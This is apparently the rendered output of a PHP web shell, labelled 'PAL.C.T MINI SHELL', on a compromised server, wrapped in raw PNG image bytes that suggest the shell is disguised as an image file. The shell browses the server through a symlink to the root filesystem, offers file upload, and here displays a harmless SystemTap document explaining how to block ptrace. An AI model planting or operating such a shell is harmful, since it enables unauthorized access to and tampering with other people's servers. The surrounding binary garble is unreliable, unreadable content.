php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/doc/systemtap-client-2.9/examples/process/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/doc/systemtap-client-2.9/examples/process/noptrace.txt

noptrace.stp - Disable ptrace from Hierarchies of Processes

    Blocks ptrace(2) attempts from processes identified by stap -c/-x,
    as also specifiable from /proc/systemtap/stap_XXX/ control files.
    Processes may be added or removed from the blocked list.

------------------------------------------------------------------------
Example: block ptrace(2) from a given subprocess hierarchy.

% echo $$
9898

(in other shell)
# stap -g noptrace.stp -x 9898 &

(in original shell)
% strace ls
strace: ptrace(PTRACE_TRACEME, ...): No such process
+++ exited with 1 +++

% bash                      # create a child process 
bash-4.3$ strace ls
strace: ptrace(PTRACE_TRACEME, ...): No such process
+++ exited with 1 +++
bash-4.3$

------------------------------------------------------------------------
Example: block ptrace(2) with a manually managed process list

% echo $$
8282

(in other shell)
# stap -g noptrace.stp &
# cd /proc/systemtap/stap_*
# cat blocked
[empty]
# echo 8282 > block

(in original shell)
% do stuff
% strace ls
[doesn't work]
% do more stuff

(in other shell)
# cat blocked   # child processes
8282
8294
8322
8348

# echo 8282 > unblock

(in original shell)
% strace ls
[now works]
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`